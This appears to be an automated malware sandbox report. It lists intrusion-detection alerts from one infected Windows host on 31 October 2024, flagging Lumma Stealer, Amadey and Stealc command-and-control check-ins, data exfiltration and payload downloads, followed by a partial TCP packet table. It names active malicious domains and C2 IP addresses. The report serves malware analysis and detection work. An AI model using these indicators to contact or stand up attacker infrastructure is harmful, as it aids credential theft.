2024-10-31T23:37:04.352487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T23:37:05.869341+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T23:37:05.869341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T23:37:07.738066+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T23:37:07.738066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T23:37:08.069021+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T23:37:09.088765+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T23:37:09.088765+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T23:37:14.176211+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T23:37:14.176211+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T23:37:14.861575+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T23:37:15.786470+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49739	185.215.113.16	80	TCP
2024-10-31T23:37:16.329344+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49738	TCP
2024-10-31T23:38:05.515443+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49786	185.215.113.43	80	TCP
2024-10-31T23:38:08.874848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49806	185.215.113.16	80	TCP
2024-10-31T23:38:12.847144+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49800	TCP
2024-10-31T23:38:13.193377+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	56701	1.1.1.1	53	UDP
2024-10-31T23:38:13.212096+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	63843	1.1.1.1	53	UDP
2024-10-31T23:38:13.223699+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	50170	1.1.1.1	53	UDP
2024-10-31T23:38:13.235225+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	59931	1.1.1.1	53	UDP
2024-10-31T23:38:13.763495+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49829	185.215.113.43	80	TCP
2024-10-31T23:38:13.869337+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:13.869337+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:14.411021+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:14.411021+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:14.671276+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49837	185.215.113.16	80	TCP
2024-10-31T23:38:15.126273+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:15.126273+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:15.615654+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:15.615654+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:17.057533+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T23:38:17.057533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T23:38:18.532679+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49862	188.114.97.3	443	TCP
2024-10-31T23:38:18.532679+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49862	188.114.97.3	443	TCP
2024-10-31T23:38:18.883782+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49862	188.114.97.3	443	TCP
2024-10-31T23:38:19.320608+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49864	185.215.113.43	80	TCP
2024-10-31T23:38:20.270087+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49870	185.215.113.16	80	TCP
2024-10-31T23:38:20.481133+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49877	188.114.97.3	443	TCP
2024-10-31T23:38:20.481133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49877	188.114.97.3	443	TCP
2024-10-31T23:38:21.187349+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49876	185.215.113.206	80	TCP
2024-10-31T23:38:21.485475+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49876	185.215.113.206	80	TCP
2024-10-31T23:38:21.555547+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49876	TCP
2024-10-31T23:38:21.831190+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49876	185.215.113.206	80	TCP
2024-10-31T23:38:22.028122+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49876	TCP
2024-10-31T23:38:23.184392+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49876	185.215.113.206	80	TCP
2024-10-31T23:38:23.751584+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49876	185.215.113.206	80	TCP
2024-10-31T23:38:24.076723+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49896	188.114.97.3	443	TCP
2024-10-31T23:38:24.076723+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49896	188.114.97.3	443	TCP
2024-10-31T23:38:24.426733+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49897	185.215.113.43	80	TCP
2024-10-31T23:38:25.355832+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49903	185.215.113.16	80	TCP
2024-10-31T23:38:25.355832+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49903	185.215.113.16	80	TCP
2024-10-31T23:38:26.825862+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49911	188.114.97.3	443	TCP
2024-10-31T23:38:26.825862+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49911	188.114.97.3	443	TCP
2024-10-31T23:38:29.571742+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49925	185.215.113.43	80	TCP
2024-10-31T23:38:29.598678+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	63019	1.1.1.1	53	UDP
2024-10-31T23:38:29.617770+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	61189	1.1.1.1	53	UDP
2024-10-31T23:38:29.629936+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	63760	1.1.1.1	53	UDP
2024-10-31T23:38:29.639835+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	56058	1.1.1.1	53	UDP
2024-10-31T23:38:30.008676+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49929	188.114.97.3	443	TCP
2024-10-31T23:38:30.008676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49929	188.114.97.3	443	TCP
2024-10-31T23:38:30.271513+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:30.271513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:30.697921+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49929	188.114.97.3	443	TCP
2024-10-31T23:38:30.820313+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:30.820313+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:31.624586+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49945	185.215.113.16	80	TCP
2024-10-31T23:38:32.607757+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:32.607757+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:33.309790+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:33.309790+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:33.967734+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49960	185.215.113.43	80	TCP
2024-10-31T23:38:35.795358+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	58206	1.1.1.1	53	UDP
2024-10-31T23:38:35.820463+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	61461	1.1.1.1	53	UDP
2024-10-31T23:38:35.835532+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	61050	1.1.1.1	53	UDP
2024-10-31T23:38:35.856122+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	52797	1.1.1.1	53	UDP
2024-10-31T23:38:36.409137+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49977	188.114.97.3	443	TCP
2024-10-31T23:38:36.409137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49977	188.114.97.3	443	TCP
2024-10-31T23:38:36.493763+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:36.493763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:37.379603+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:37.379603+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:38.324341+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49986	185.215.113.43	80	TCP
2024-10-31T23:38:38.923350+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:38.923350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:39.320869+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49994	188.114.97.3	443	TCP
2024-10-31T23:38:39.320869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49994	188.114.97.3	443	TCP
2024-10-31T23:38:39.381358+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:39.381358+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:40.018301+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:38:40.018301+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:38:40.624097+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:38:40.624097+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:38:41.259256+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50010	188.114.97.3	443	TCP
2024-10-31T23:38:41.259256+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50010	188.114.97.3	443	TCP
2024-10-31T23:38:41.627456+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:41.627456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:41.727675+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50016	188.114.97.3	443	TCP
2024-10-31T23:38:41.727675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50016	188.114.97.3	443	TCP
2024-10-31T23:38:42.135070+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:42.135070+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:43.183085+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50027	188.114.97.3	443	TCP
2024-10-31T23:38:43.183085+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50027	188.114.97.3	443	TCP
2024-10-31T23:38:43.986131+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50034	188.114.97.3	443	TCP
2024-10-31T23:38:43.986131+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50034	188.114.97.3	443	TCP
2024-10-31T23:38:46.764769+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50051	188.114.97.3	443	TCP
2024-10-31T23:38:46.764769+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50051	188.114.97.3	443	TCP
2024-10-31T23:38:47.014729+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50052	188.114.97.3	443	TCP
2024-10-31T23:38:47.014729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50052	188.114.97.3	443	TCP
2024-10-31T23:38:47.573968+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50058	188.114.97.3	443	TCP
2024-10-31T23:38:47.573968+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50058	188.114.97.3	443	TCP
2024-10-31T23:38:50.824923+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50072	188.114.97.3	443	TCP
2024-10-31T23:38:50.824923+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50072	188.114.97.3	443	TCP
2024-10-31T23:38:51.321936+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50074	188.114.97.3	443	TCP
2024-10-31T23:38:51.321936+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50074	188.114.97.3	443	TCP
2024-10-31T23:38:51.369096+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50072	188.114.97.3	443	TCP
2024-10-31T23:38:51.570891+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50077	188.114.97.3	443	TCP
2024-10-31T23:38:51.570891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50077	188.114.97.3	443	TCP
2024-10-31T23:38:54.878729+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50101	188.114.97.3	443	TCP
2024-10-31T23:38:54.878729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50101	188.114.97.3	443	TCP
2024-10-31T23:38:55.355160+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50109	188.114.97.3	443	TCP
2024-10-31T23:38:55.355160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50109	188.114.97.3	443	TCP
2024-10-31T23:38:55.356525+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50101	188.114.97.3	443	TCP
2024-10-31T23:38:55.755788+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50112	188.114.97.3	443	TCP
2024-10-31T23:38:55.755788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50112	188.114.97.3	443	TCP
2024-10-31T23:38:55.959999+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50109	188.114.97.3	443	TCP
2024-10-31T23:38:56.284993+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50114	185.215.113.16	80	TCP
2024-10-31T23:38:56.651760+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50117	188.114.97.3	443	TCP
2024-10-31T23:38:56.651760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50117	188.114.97.3	443	TCP
2024-10-31T23:38:57.349251+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50117	188.114.97.3	443	TCP
2024-10-31T23:38:58.072301+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50120	188.114.97.3	443	TCP
2024-10-31T23:38:58.072301+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50120	188.114.97.3	443	TCP
2024-10-31T23:38:58.075893+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50120	188.114.97.3	443	TCP
2024-10-31T23:38:58.308276+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50119	185.215.113.16	80	TCP
2024-10-31T23:38:59.218738+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50122	188.114.97.3	443	TCP
2024-10-31T23:38:59.218738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50122	188.114.97.3	443	TCP
2024-10-31T23:39:02.331214+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	57975	1.1.1.1	53	UDP
2024-10-31T23:39:02.485735+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	58707	1.1.1.1	53	UDP
2024-10-31T23:39:02.559841+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	51138	1.1.1.1	53	UDP
2024-10-31T23:39:02.572381+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	63022	1.1.1.1	53	UDP
2024-10-31T23:39:03.228245+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:03.228245+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:03.740318+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:03.740318+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:04.400485+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:04.400485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:04.857823+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:04.857823+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:05.670656+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50132	188.114.97.3	443	TCP
2024-10-31T23:39:05.670656+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50132	188.114.97.3	443	TCP
2024-10-31T23:39:07.007043+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50133	188.114.97.3	443	TCP
2024-10-31T23:39:07.007043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50133	188.114.97.3	443	TCP
2024-10-31T23:39:08.443018+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50134	188.114.97.3	443	TCP
2024-10-31T23:39:08.443018+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50134	188.114.97.3	443	TCP
2024-10-31T23:39:09.852581+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50135	188.114.97.3	443	TCP
2024-10-31T23:39:09.852581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50135	188.114.97.3	443	TCP
2024-10-31T23:39:12.006755+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50137	188.114.97.3	443	TCP
2024-10-31T23:39:12.006755+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50137	188.114.97.3	443	TCP
2024-10-31T23:39:12.636394+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50137	188.114.97.3	443	TCP
2024-10-31T23:39:13.254454+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50138	188.114.97.3	443	TCP
2024-10-31T23:39:13.254454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50138	188.114.97.3	443	TCP
2024-10-31T23:39:13.577598+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50138	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 23:36:59.459706068 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:36:59.459738970 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:36:59.459800005 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:36:59.462709904 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:36:59.462727070 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.070065022 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.070147991 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.085587978 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.085606098 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.085845947 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.134630919 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.238766909 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.238779068 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.238914967 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.685619116 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.685734034 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.685889006 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.687304974 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.687323093 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.687335968 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.687340021 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.778518915 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.778619051 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:00.778712034 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.779557943 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:00.779591084 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:01.381841898 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 23:37:01.381931067 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:37:01.383016109 CET	49731	443	192.168.2.4	188.114.97.3
